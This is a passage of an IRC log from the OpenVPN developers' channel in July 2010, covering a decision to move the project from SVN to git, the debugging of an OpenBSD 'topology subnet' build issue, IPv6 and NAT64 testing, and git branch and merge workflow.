while retaining the full history 13:35 <@dazo> jamesyonan: that sounds like the thing we need then! 13:37 < jamesyonan> http://secure.openvpn.net/tmp/massmerge.py 13:37 < jamesyonan> this is for svn -> svn merges, but it contains the basic infrastructure for programmatic commits to svn 13:38 <@dazo> jamesyonan: what will we do with the current tree / branch? can we scrap it and roll back the history? 13:39 <@dazo> I have not done anything which is worth saving ... and I believe you have done the last change in BETA21 13:41 < jamesyonan> which tree? you mean /contrib/dazo ? 13:41 <@dazo> jamesyonan: yes 13:41 < jamesyonan> why not just svn rm? 13:42 <@dazo> I was just open for us to remove the traces from the history ... as I expect svn rm will just leave yet another trace ... but if you're fine with that approach, sure, lets do that :) 13:46 <@mattock> what about the "topology subnet" + OpenBSD issue? 13:47 * dazo interprets the silence as 'do svn rm' 13:48 <@dazo> re: openbsd + topology ... this is what krzee discovered: topology subnet is broken, no errors but good config doesnt work. on fbsd/openbsd i tested that using ipconfig-push does not give an error when using net30 (but i believe it should / the code exists)... so it gives a topology subnet type ifconfig, which obviously doesnt work 13:49 < jamesyonan> Let's think about this. It seems like git -> svn causes some information loss, and maintaing the git/svn repo relationship might be a time sink. Suppose we just migrate to git 100%. I need to understand how much effort this will require, how the history translates over, what changes would be required to build tools, etc. 13:49 <@dazo> jamesyonan: if you are willing to do such a move ... I'll help you out as much as I can 13:50 <@mattock> I think that's would solve most of the issues... 13:50 <@dazo> jamesyonan: A good starting point is this one: http://git.or.cz/course/svn.html 13:50 < vpnHelper> Title: Git - SVN Crash Course (at git.or.cz) 13:51 <@mattock> what if we just continue pulling James' stuff from SVN to Git... and use Git for managing releases. 13:51 <@dazo> that is also doable 13:51 <@dazo> very much doable, actually 13:51 <@mattock> I mean, that would not require James to learn tons of git stuff - at least initially 13:52 <@dazo> but it might be more a challenge for James, as he will not be able to easily fix stuff in the git repo that way 13:52 < jamesyonan> so I presume then that svn -> git conversion doesn't suffer the same loss of info as the reverse? 13:53 <@mattock> jamesyonan: that's how I've understood it 13:53 <@mattock> dazo? 13:53 <@dazo> jamesyonan: no, not at all ... if you clone the git repository ... you can even see which SVN revisions each git commit from you comes from 13:54 <@dazo> git is very conservative about the history ... it tracks both author and committer of each commit separately .... and it is almost impossible to rewrite the history like it seems it's possible to do with the python script James showed me 13:55 <@dazo> (it is possible to amend the last commit in git ... but by doing that, the commit ID changes ... so it is not trivial to do so if you have pushed your tree remote and someone have pulled the tree ... such modifications are identified immediately then) 13:56 <@mattock> sorry, I got to leave in ~5 mins... does something require my presence? 13:56 <@mattock> the buildbot stuff perhaps? 13:56 <@dazo> mattock: a quick update would be great :) 13:57 < jamesyonan> I'm not really a fan of svn per-se. I'm totally open to migrating to git if it can be done in small steps. 13:58 <@mattock> ok... I've been working on various forums stuff lately, so nothing has really happened on BuildBot front. However, forum migration has been moving forward smoothly, so by the end of July buildbot + packages should be in good shape 13:58 <@dazo> jamesyonan: What if you clone the git tree ... you can play as much as you want with it, as all changes are done locally only - it's not before you begin to do 'git push' you give your changes away ... and then in the mean time while you're getting familiar, you can do your commits to SVN 13:58 <@dazo> and I will make sure to pull them down and put them into the git tree 13:58 < jamesyonan> right -- the first step would be to clone the git tree and get the build system working on that 13:58 <@mattock> I'll hit the shower and check back in ~10 mins... then I'll have to go 13:59 < jamesyonan> does anyone know if trac can be tied to both an svn and git repo at the same time (during the migration)? 13:59 <@dazo> jamesyonan: yeah .... something like that ... git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git ... that should get you started 14:00 <@dazo> jamesyonan: if you have some time today, I can walk you through the basic things if you want, after this meeting 14:01 < jamesyonan> dazo: sounds good -- I'll probably just immerse myself in the docs initially 14:01 <@dazo> mattock: you might have a better overview over trac, git and svn ...? 14:02 <@dazo> jamesyonan: sounds good :) And whenever you wonder about something ... let me know .... there's also #git here on FreeNode as well 14:04 <@mattock> jamesyonan: I think Trac (0.11 at least) only supports one VCS backend at one time 14:04 <@mattock> and git support is pretty slow - at least the browsing stuff 14:04 <@dazo> jamesyonan: I dont know how much time you have for reading .... but to really understand git and how it works ... the book ProGit is really worth reading ... http://progit.org/book/ (it's also published on paper) 14:04 < vpnHelper> Title: Pro Git - Table of Contents (at progit.org) 14:06 <@mattock> the Git user manual is also pretty good, I read it a while back: http://www.kernel.org/pub/software/scm/git/docs/user-manual.html 14:06 < vpnHelper> Title: Git User's Manual (for version 1.5.3 or newer) (at www.kernel.org) 14:06 <@mattock> git takes a little getting used to, but seems less shaky than SVN 14:06 <@mattock> and more powerful 14:06 <@mattock> confusing SVN does not take much 14:07 <@mattock> at least in my experience 14:07 <@dazo> yeah, but I found it easier to read ProGit actually ... explaining all those strange git words before going deep :) 14:07 <@mattock> dazo: I guess I'll have to read it too, then :) 14:07 * ecrist tires of git vs svn conversations 14:07 <@dazo> but it's a while since I've looked at the official git docs :) 14:07 <@mattock> ok, did we make a decision to move to git? 14:08 < jamesyonan> ack 14:08 <@mattock> ok 14:08 <@mattock> anything else on this topic? 14:09 <@mattock> if not, I don't think we yet discussed this one: "Another bug being debugged with OpenBSD as well, which krzee discovered lately - broken topology subnet" 14:10 * dazo resends krzee observation 14:10 <@dazo> so here is the other things with openbsd: topology subnet is broken, no errors but good config doesnt work. on fbsd/openbsd i tested that using ipconfig-push does not give an error when using net30 (but i believe it should / the code exists)... so it gives a topology subnet type ifconfig, which obviously doesnt work 14:14 < jamesyonan> Are you saying that ifconfig of tun interface on OpenBSD using the form doesn't work? 14:16 * dazo looks up the conversation in his history 14:17 < jamesyonan> i.e. is the bug something in OpenVPN or is it just that OpenBSD can't handle ifconfig on tun interfaces? 14:18 <@dazo> I think it is related to some OpenBSD syntax ... I found something now ... putting on pastebin now 14:19 <@dazo> jamesyonan: http://pastebin.com/ErrCTMss 14:19 <@dazo> so it actually do configure the tun device correctly ... but it stops there 14:20 <@dazo> more info: http://pastebin.com/sz5nSTmj 14:21 <@mattock> ok, I'll leave now. Have a nice rest of the meeting! Bye! 14:22 <@mattock> I'll write the summary tomorrow as usual 14:22 <@dazo> mattock: thx! 14:22 <@mattock> and create the HTTP_PROXY feature request 14:22 <@dazo> lovely! 14:22 * dazo needs to go in a few minutes as well 14:23 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 14:24 < jamesyonan> well if this is a bug, isn't it just a matter of adjusting the ifconfig command issued on OpenBSD? 14:25 <@dazo> Yeah, I just noticed cron2's suspicion ... so I think that if he's right about that, there is something more deeper going on here 14:25 <@dazo> fkr on this channel is doing the OpenVPN packages for OpenBSD, so he might be able to help out 14:26 <@dazo> but we can make this a follow-up task ... and make sure that it gets attention by someone in the community who have overview over this 14:30 * dazo needs to go now 14:31 <@dazo> jamesyonan: thanks for joining today! And you did indeed surprise with your willingness to move away from SVN ... I was not expecting that at all! 14:34 <@dazo> bye bye! 14:38 -!- Irssi: #openvpn-devel: Total of 21 nicks [4 ops, 0 halfops, 0 voices, 17 normal] 14:40 -!- dazo is now known as dazo_afk 14:42 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has left #openvpn-devel [] 15:53 < krzee> [12:19] i.e. is the bug something in OpenVPN or is it just that OpenBSD can't handle ifconfig on tun interfaces? 15:53 < krzee> in net30 15:53 < krzee> subnet being 255.255.255.0 15:54 < krzee> the bug is that it isnt warning the user that he is using the wrong style ifconfig-push 15:54 < krzee> lemme find the error that it should have 16:04 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 16:37 <@cron2> krzee: it's actually two different bugs, one is that "topology subnet" doesn't work at all, and the other is that the ifconfig-push isn't warning 16:37 <@cron2> or is it specifically only not-working together with your ifconfig-push? 16:37 <@cron2> dazo: I'll do a proper patch with "signed-off-by:" etc. tomorrow and send to the list 16:39 < krzee> correct, 2 of them 16:39 < krzee> ok, and tonight i will test the first patch on my obsd vm 16:40 <@cron2> great 16:40 < krzee> previously i only defined in config.h 16:40 <@cron2> so, off to bed now (23:40 here, daughter will demand f00d at about 06:00...) 16:40 <@cron2> good night, more tomorrow 16:40 <@cron2> congrats on a good meeting, btw :-) 16:41 < krzee> nite cron2 19:54 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Fri Jul 09 2010 00:31 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:41 < fkr> good morning 00:41 <@mattock> good morning, fkr! 00:45 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 00:46 < fkr> how is everyone? 00:47 < fkr> am going to read the backlog from yesterday, could not attend as I was on the road 00:55 <@mattock> meeting went fine - do you have the meeting history in your IRC client? 00:56 <@mattock> if not, I can send it to you 00:56 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 240 seconds] 00:58 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 01:04 -!- dazo_afk is now known as dazo 01:06 <@dazo> cron2: good morning! Got a message from krzee that your patch doesn't solve the issue ... 01:16 < fkr> mattock: yes, i have the backlog in my client! 01:16 <@mattock> ok, great! 01:16 <@mattock> I'll summarize the meeting in ~6-7 hours 01:16 <@mattock> I'll try to get some server work done before that 02:01 -!- fkr [w3x5gqrm67@devon.fsck.us] has quit [Remote host closed the connection] 02:17 <@cron2> dazo: did that mail go to the list or just to you? 02:17 * dazo checks 02:17 <@cron2> did he do autoreconf after patching? 02:17 <@dazo> cron2: I dunno .... krzee ^^^ 02:17 <@dazo> good point though! 02:18 <@dazo> cron2: I've not seen any mail :( 02:20 <@cron2> dazo: ah, no mail, just an irc message - yes, I got one, too, but with no details, just "doesn't work, same error" 02:21 <@dazo> cron2: ahh ... yeah, krzee gave me a direct message @ 3am or so 02:22 <@dazo> and it was basically .... patch doesn't work ... not much to work on 02:22 <@cron2> same here :) - need to figure out details 02:51 <@dazo> cron2: btw! I got IPv6 running on a firewall late yesterday ... so OpenVPN with IPv6 will be the next stuff to test ... I will have 2 IPv6 clients to test with first ... and then enable IPv6 on the inside as next phase 02:52 * dazo plans to test out the complete IPv6 stack in OpenVPN 03:03 <@dazo> cron2: one silly ipv6 question ... how do you setup 4in6 support? ... I'd like to have a test network which is 100% pure IPv6, but which gets IPv4 access to the Internet 03:09 < berniv6> dazo: that's JuanJo (feat_ipv6_transport branch) 03:10 <@dazo> berniv6: yeah, that's my first step ... and I'm preparing an internal IPv6 network on one of my sites, where OpenVPN will be used for the IPv6 payload as well 03:12 < waldner> dazo: you probably need at least a nat64 gateway, and a cooperating DNS server 03:13 <@dazo> waldner: yeah, that's how far I've come ... but it's not too easy to find such resources 03:14 < waldner> http://ecdysis.viagenie.ca/ 03:14 < vpnHelper> Title: Ecdysis: open-source nat64 (at ecdysis.viagenie.ca) 03:14 < waldner> this could be a starting point 03:15 -!- fkr [mmx8l5edpr@devon.fsck.us] has joined #openvpn-devel 03:15 <@dazo> waldner: cool! thx! 03:15 < waldner> yw 03:18 < berniv6> note that you only need that for IPv6-only on the client (to connect to IPv4 resources) 03:18 < berniv6> which, as far as I know, is not yet supported by feat_ipv6_payload (IPv6 assignment is somehow linked to IPv4 assignment) 03:21 <@cron2> yes, IPv6-only-OpenVPN is not yet supported (because the rest of the code isn't prepared for "IPv4-less" operation) 03:21 <@dazo> berniv6: ahh ... true ... OpenVPN right now will configure both IPv4 and IPv6 on the tunnel .... but I can live with that, I just want to try to test out and gain experiences with only using IPv6 traffic in the network ... and the OpenVPN server will firewall IPv4 traffic into the clean IPv6 network 03:22 <@cron2> of course you can assign some 10.99 address to the tunnel, and not push any IPv4 routes 03:22 <@cron2> so the client wouldn't use the tunnel for IPv4 traffic 03:22 <@dazo> cron2: true! 03:23 < waldner> fwiw, I've been running v6-only at home for 6 months on Linux, *zero* problems 03:23 < waldner> also thanks to my ISP's excellent setup 03:23 <@dazo> waldner: and traffic to IPv4 goes via nat64? 03:23 < waldner> yes 03:24 < waldner> but to me it's all v6 03:24 <@cron2> waldner: wow :-) - which ISP ist that? 03:24 <@dazo> that's the kind of setup I'm aiming for ... but I'll probably need to implement the nat64 relay myself 03:24 < waldner> http://aaisp.co.uk 03:24 < vpnHelper> Title: AAISP - Home (at aaisp.co.uk) 03:25 < waldner> officially ipv6-only is "experimental", but in practice I've been using it for 6 months with no problems 03:26 < waldner> and the nat64 gateway is a homebrew implementation, which however seems to work pretty well 03:26 <@cron2> dazo: so what's the "best" way to generate a diff (to mail to the list) from a git commit? just use "git diff"? or is there a magic command? 03:27 <@dazo> cron2: git format-patch 03:27 < waldner> http://aaisp.co.uk/kb-broadband-ipv6-nat64.html 03:27 < vpnHelper> Title: IPv6 NAT64 gateway (at aaisp.co.uk) 03:28 <@dazo> cron2: https://community.openvpn.net/openvpn/wiki/GitCrashCourse#Creatingpatchfiles ... for a little bit more verbose info 03:28 < vpnHelper> Title: GitCrashCourse – OpenVPN (at community.openvpn.net) 03:28 <@cron2> thanks 03:31 <@cron2> patch sent to list 03:31 <@dazo> cron2: you're welcome! ... if you set up git send-email ... you can even make git send the patches for you as well 03:32 <@cron2> nah, I prefer to really see in my mail client what the mail is going to look like .-) 03:32 <@dazo> :) 03:32 <@cron2> (and in most cases, I won't mail patches anyway, but push to berniv6) 03:32 <@dazo> fair enough 03:41 <@cron2> dazo: I've spent some time thinking about feat_ipv6_tap, and this is a bit tricky now :-) - if you move the branch point, you'll have conflicts with one of James' changes (the RELDATE thing) and need to merge/fix that yourself :-) 03:43 <@dazo> cron2: yeah ... I didn't get time to dig into that, hope to get some time today ... but I do see that being a challenge ... but if it is basically RELDATE, that's stuff I fix without being too much concerned ... and I already need to do that when James updates that in the SVN too 03:45 <@dazo> I think that this branch really need to be based on the svn-BETA21 branch ... to track James as close as possible ... so that you or I can rebase (not merge) it against his SVN branch 03:46 <@cron2> fine with me, but in that case I can't merge this into feat_ipv6_payload 03:47 <@cron2> ("been there" :) ) 03:47 <@cron2> q 03:47 <@cron2> urgh, EWIN 03:47 <@dazo> true ... I see some flaws in the current setup now ... as you have "frozen" your branch against the 2.1.1 release 03:48 <@dazo> we need to see if we can make this flow better somehow ... so that you have the possibility to better track the James' work as well 03:48 * dazo need to think and experiment a bit here 03:49 <@cron2> well, for me, one of the important parts right now is "be able to create a patch against 2.1.1-release.tar.gz" - but if there are some other small changes that sneak into that patch, it won't be a big problem 03:50 <@cron2> it just makes a bit harder to see whether I broke people's OpenVPN or someone else :) 03:50 <@dazo> yeah, very true 03:51 <@dazo> maybe you actually need two branches then .... one which is not -testing.git relevant, which tracks the 2.1.1 code base .... and then the -testing.git code base which is more bleeding edge, tracking James' path ... that way you can spot issues quicker 03:52 <@dazo> git log --oneline v2.1.1..svn-BETA21 ... this is what's happened to the since the 2.1.1 release 03:53 * cron2 doesn't want two branches for the IPv6 payload development 03:54 <@cron2> (too much potential for me to forget to update one or the other branch, or push things to the wrong repo, etc.) 03:55 <@dazo> I do understand that ... but you will then basically be doing the development in the -testing.git version ... and can then do 'git cherry-pick' of your patches into the 2.1.1 based branch ... that way you can keep them separate and still be closer to what's happening .... the issue is that sooner or later the merging into beta and allmerged branches will become even more complex 03:55 <@dazo> if we keep your -testing branch on the 2.1.1 base 03:56 <@dazo> it will work fine, until more code is changed upstream where your feat_ipv6_payload branch does changes 03:59 <@dazo> btw ... I just cherry-picked your IPv6 windows tap driver on top of James' SVN branch ... that seemed to work fine though 04:02 <@cron2> ok, cool (so I don't need to worry about that bit) 04:02 <@cron2> regarding the ipv6_payload - well, I'd say "keep it as it is for now, and if we get the first merge conflict with the beta branch, we'll rethink" 04:17 <@cron2> dazo: is that a workable approach? 04:18 <@dazo> cron2: that works for me! I'm not in favour of sudden changes anyway ... I just like to start thinking about the process 04:19 <@cron2> reasonable approach :) 05:50 -!- d457k [~heiko@vpn.astaro.de] has quit [Ping timeout: 276 seconds] 06:17 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 06:23 -!- mape2k [~mape2k@p5B286ECE.dip.t-dialin.net] has joined #openvpn-devel 06:39 <@cron2> mape2k: are you there? or is this just your IRC client? :) 07:10 -!- krzie [nobody@unaffiliated/krzee] has quit [Read error: Connection reset by peer] 07:16 <@dazo> cron2: I'm just wondering about the feat_ipv6_wintap branch .... I think I've come up with a good approach 07:17 <@cron2> you're *still* wondering :-) - ok, so what's the plan? 07:17 <@dazo> cron2: I'm thinking about to branch it out of commit 63976e0f09c51f3001e, which is the starting point of your feat_ipv6_payload branch as well 07:18 <@dazo> cron2: I'll cherry-pick 175e17a5abd5969f6803a into feat_ipv6_wintap 07:18 <@dazo> and then it is easy to merge feat_ipv6_wintap into feat_ipv6_payload ... it's one conflict .... 07:18 <@dazo> install-win32/settings.in 07:18 <@dazo> (date stamp confusion) 07:19 <@dazo> is that fine for you? 07:19 <@cron2> well, that was the RELDATE mixup, yes. Well, you could cherry-pick 6fa56ad77d30e40db43f54a347cc83eb04f4f6dd as well, so you won't have any conflict at all :) 07:20 <@dazo> Yeah, but that fix comes after 175e17a5abd5969f which is the TAP driver update 07:21 <@dazo> and when feat_ipv6_payload and feat_ipv6_wintap share the same root ... I hope that will solve some other potential merge conflicts 07:21 <@dazo> in the future, that is 07:21 <@cron2> yeah, sure - first pick 175e17a5abd5969f, then pick 6fa56ad77d30e40d 07:22 <@dazo> of course!! 07:22 * dazo is silly 07:22 * dazo does an experiment first 07:22 <@cron2> :-) 07:25 <@dazo> cron2: now we (or at least I) have a plan :) ... worked as expected! 07:25 * dazo cleans up the tree and branches once again 07:25 <@cron2> great! 07:27 <@dazo> cron2: do you want to do the merge into feat:_ipv6_payload yourself ... or should I do it? 07:27 <@dazo> (if I do it, you need to fetch and rebase on your side) 07:28 <@cron2> is there actually a need to merge anything right now? 07:28 <@cron2> if it's the same change and no conflicts, it should be already there 07:28 <@cron2> but I'll do whatever is needed :) 07:28 <@dazo> just to have the history as close as possible, when it merges clean now ... it's less chances to mess it up later on 07:29 <@cron2> ok, let's try this 07:29 <@cron2> first thing: git pull? 07:30 <@dazo> not yet ... I'm about to push it out very soon 07:30 <@cron2> ok 07:34 <@dazo> cron2: I'm adding you as to signed-off-by notes in the commit logs, I hope you don't mind 07:34 <@cron2> since we agreed to do this in IRC, this sounds like a good approach to document it 07:34 <@cron2> "no objections" 07:35 <@dazo> that's what I though too :) 07:35 <@dazo> cron2: you can git fetch now :) 07:36 <@cron2> huh 07:36 <@dazo> ? 07:36 * cron2 messed up his repository, your repo is now there as "origin" and as "dazo" 07:37 <@dazo> heh 07:37 <@cron2> and the branches are remotes/dazo/... and remotes/origin/... 07:37 <@dazo> that's also a way how to do backup in stages :) 07:38 * dazo looks into what's needed to do with the beta2.2 branch 07:38 <@cron2> is there a way to get rid of "remotes/origin/"? I added your repo (after the initial clone) as "git remote add dazo ..." 07:38 <@dazo> ahh ... git remote rm origin 07:38 <@cron2> now that was easy 07:38 <@dazo> :) 07:39 <@cron2> git checkout -b feat_ipv6_payload remotes/dazo/feat_ipv6_payload 07:39 <@cron2> this looks right 07:40 <@dazo> cron2: I've not touched that branch at all ... but feat_ipv6_wintap 07:40 <@cron2> so now I do "git merge remotes/dazo/feat_ipv6_wintap"? 07:40 <@dazo> yeah 07:40 <@cron2> dazo: I had to re-branch, since my local branch had all the merge crap from the last round still in 07:40 <@dazo> true 07:40 <@cron2> (this is not "my working repository" but "my dazo-git clone" so throwing away a branch is not dangerous :) ) 07:41 <@dazo> heh :) 07:41 <@cron2> Merge made by recursive. 07:41 <@dazo> that's what I also got on my experiments 07:41 <@dazo> that's a rather clean merge 07:41 <@cron2> git commit tells me "nothing added to commit" now, so is there anything I need to do now? 07:42 <@dazo> nope ... clean merges does the final commit by itself 07:42 <@cron2> ah, there it is 07:42 <@cron2> Merge remote branch 'remotes/dazo/feat_ipv6_wintap' into feat_ipv6_payload 07:42 <@dazo> yupp 07:42 <@cron2> mmmh, no signed-off-by: in there - is that needed? how do I get that "git merge -s"? 07:43 <@dazo> merge -s is the thing yes ... could probably be a good idea actually 07:43 <@cron2> ok, -s --amend did the job :) 07:43 <@dazo> cooL! 07:43 <@cron2> so, push to berniv6 now 07:43 * dazo waits for a pull request soon then :) 07:44 * dazo begins to think about what to do with the beta2.2 branch again 07:45 <@cron2> berniv6 is hiding somewhere, his repository still has yesterday's funny stuff in it 07:45 <@cron2> will chase him :) 07:45 <@dazo> heh 08:15 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 08:26 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 08:28 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 09:28 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 09:28 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 276 seconds] 10:41 < berniv6> cron2: you can remote delete branches yourself somehow (man git push) 10:41 < berniv6> cron2: but I've dropped your repository, push it again 10:43 <@cron2> berniv6: that wasn't the plan :-) 10:43 <@cron2> fatal: 'repositories/openvpn-gert.git' does not appear to be a git repository 10:43 <@cron2> fatal: The remote end hung up unexpectedly 10:43 < berniv6> it wasn't? :-) 10:44 <@cron2> no, you should restore the backup, not completely remove the repo :) 10:44 < berniv6> ah 10:44 < berniv6> well, can do that doo 10:44 < berniv6> too 10:44 < berniv6> one sec 10:44 < berniv6> done 10:45 <@cron2> pussscchhh 10:45 <@cron2> done 10:45 <@cron2> does it look reasonable? 10:45 < berniv6> http://git.birkenwald.de/gitweb/?p=openvpn-gert.git;a=summary 10:45 < berniv6> looks okay 10:45 < vpnHelper> Title: git.birkenwald.de Git - openvpn-gert.git/summary (at git.birkenwald.de) 10:46 <@cron2> ok, please pull/push :) 10:52 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 10:54 <@dazo> cron2: berniv6: deleting remote git branches ..... git push : .... notice the colon ... 10:55 <@cron2> dazo: well, I didn't want to delete the branch completely, just "reset it to wednesday's state". Maybe I just don't trust git enough yet 10:55 <@cron2> berniv6: *poke*, please pull/push 10:56 < berniv6> cron2: I thought you were going directly to dazo now? 10:56 < berniv6> cron2: doesn't really make sense to channel all the updates through me :-) 10:56 < berniv6> dazo: please pull git://git.birkenwald.de/openvpn-gert.git master branch into feat_ipv6_payload :-) 10:57 <@dazo> cron2: you can use git reset .... --hard is *dangerous* as that deletes history ... but that's how you can really step back ... git reset also never tells you this is dangerous 10:57 <@cron2> berniv6: have no access rights there (and have not setup anything at my end that speaks to the world) 10:57 < berniv6> cron2: you pushed to your public git 10:57 < berniv6> cron2: public git is public :-) 10:58 <@dazo> cron2: berniv6 I could grab that one directly! 10:59 <@cron2> berniv6: now that you mention it... 10:59 <@cron2> so why did we go through your branch in the first place? 10:59 <@cron2> s/branch/repo/ 11:00 < berniv6> cron2: not sure, I think because back in the days I had a bit more git experience 11:00 * dazo thought berniv6 did review cron2's patches :-P 11:00 < berniv6> does not make sense now at all 11:00 <@cron2> dazo: well, he tested that the stuff works on linux and built debian/ubuntu packages, but no real review 11:02 <@dazo> cron2: I see ... well, it would actually be good if we could someone else how can review your patches ... I can try, but do not have much network stack experience (never too late to learn, though) ... but would also hope that JJO could help out there too 11:03 <@dazo> just to have the review process in order for your stuff too 11:03 <@cron2> I would very much welcome feedback and review - both on the user side of things ("configuration should not be so complicated, what about ...") and on the inside working of the code 11:04 <@cron2> so far, all I got was "hey this works for me, thanks" - which is good :-) - but doesn't help to improve the code :-) 11:04 <@dazo> yeah :) 11:04 <@cron2> the stuff is all not very complicated, but it's a lot of small changes in a lot of different places 11:05 <@dazo> I've looked at the patches of course, but not done a real review ... but I can try to do that from now on ... and especially if you can send pull requests to the mailing list ... that's probably a good starter 11:05 <@dazo> then more people might spot your changes too :) 11:06 <@cron2> yep 11:06 <@cron2> there's a new round of changes coming up "soonish", so we can try that 11:07 <@cron2> btw, krzee/krzie didn't do autoreconf, is doing this right now, so we'll have openbsd feedback soon 11:07 <@dazo> perfect! ... yeah, krzee seems to like to do the same discussion with two people in private instead of where we both are :-P 11:07 < krzie> lol 11:08 < krzie> im pretty weird these days 11:08 <@dazo> heh :) 11:08 < krzie> quitting cigs is a bitch 11:08 < krzie> same error tho 11:08 <@dazo> ahh ... that's probably the issue! :) 11:09 <@cron2> mmmh. could you extract the section from config.log related to net/if.h and paste it somewhere? It contains the error encountered and the actual test program used 11:09 * dazo decides to call this a week :) 11:09 <@cron2> enjoy you weekend :) 11:09 <@dazo> I might pop in during weekend to look at the beta2.2 branch .... but no promise :) 11:09 < krzie> do i need to do more than be in the dir and type "autoreconf" ? 11:10 <@cron2> normally not 11:10 <@dazo> krzie: autoreconf -vi .... that's a safe one, it adds missing stuff and is more verbose to what it does 11:12 < krzie> cron2, when im at the office i may just give you root on the VM through an openvpn tunnel 11:12 < krzie> its only a vm and all... 11:18 <@cron2> krzie: we could try that - or I just set up an obsd VM here 11:18 <@cron2> so - afk now, summer party at $customer 11:19 -!- dazo is now known as dazo_afk 11:19 < krzie> http://pastebin.com/EBXdQMfj 11:20 < krzie> relevant portion of my configure.ac: 11:20 < krzie> ) 11:20 < krzie> AC_CHECK_HEADERS(net/if.h,,, 11:20 < krzie> [#ifdef HAVE_SYS_SOCKET_H 11:20 < krzie> # include 11:20 < krzie> #endif 11:20 < krzie> #ifdef HAVE_SYS_TYPES_H 11:20 < krzie> # include 11:20 < krzie> #endif 11:20 < krzie> ]) 11:20 < krzie> AC_CHECK_HEADERS(netinet/ip.h,,, 11:20 < krzie> pasted because patched by hand (was such a small patch) 11:22 -!- mape2k [~mape2k@p5B286ECE.dip.t-dialin.net] has quit [Ping timeout: 264 seconds] 12:35 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 15:00 <@cron2> krzie: yes, this looks good, but we need the part of config.log :-) 15:00 <@cron2> that should look similar to what I pasted to the trac ticket 15:21 < krzee> [09:21] http://pastebin.com/EBXdQMfj 15:21 < krzee> is that not the relevant part? 15:47 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 18:48 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 260 seconds] --- Day changed Sat Jul 10 2010 00:58 -!- kish_ [~o2@unaffiliated/spice] has joined #openvpn-devel 01:00 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 276 seconds] 02:19 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:44 -!- mape2k [~mape2k@2001:638:904:ffe2:21f:3bff:fe27:21a9] has joined #openvpn-devel 02:57 -!- mape2k [~mape2k@2001:638:904:ffe2:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 03:08 -!- mape2k [~mape2k@2001:638:904:ffe2:21f:3bff:fe27:21a9] has joined #openvpn-devel 03:15 -!- mape2k [~mape2k@2001:638:904:ffe2:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 04:17 <@cron2> krzee: , not or any other header file 04:18 <@cron2> but it doesn't matter, my OpenBSD VM is up and running and I have already found the problem - on OBSD must not be included before but after it 04:26 <@cron2> I'll send a revised patch to the mailing list right away 04:33 -!- mape2k [~mape2k@2001:638:904:ffe2:21f:3bff:fe27:21a9] has joined #openvpn-devel 04:48 <@cron2> *done* 05:14 -!- mape2k [~mape2k@2001:638:904:ffe2:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 05:28 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 05:45 -!- mape2k [~mape2k@2001:638:904:ffe2:21f:3bff:fe27:21a9] has joined #openvpn-devel 06:14 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 248 seconds] 07:35 -!- waldner [~waldner@unaffiliated/waldner] has quit [Quit: leaving] 07:36 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 07:52 -!- mape2k [~mape2k@2001:638:904:ffe2:21f:3bff:fe27:21a9] has quit [Ping timeout: 252 seconds] 08:18 -!- kish_ is now known as kish 09:33 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 09:33 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:34 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Client Quit] 11:28 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Sun Jul 11 2010 01:01 -!- kish [~o2@unaffiliated/spice] has quit [Ping timeout: 265 seconds] 01:03 -!- kish [~o2@unaffiliated/spice] has joined #openvpn-devel 05:13 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 06:05 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 06:59 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 07:58 < waldner> https://community.openvpn.net/openvpn/wiki/PingInactivePatch 07:58 < vpnHelper> Title: PingInactivePatch – OpenVPN (at community.openvpn.net) 07:58 < waldner> all tests passed for me 07:58 < waldner> is anybody else wants to try it, please go ahead 12:45 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 13:18 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 248 seconds] 13:43 -!- Yarrick [glatta@rankine.df.lth.se] has quit [Ping timeout: 260 seconds] 14:24 -!- 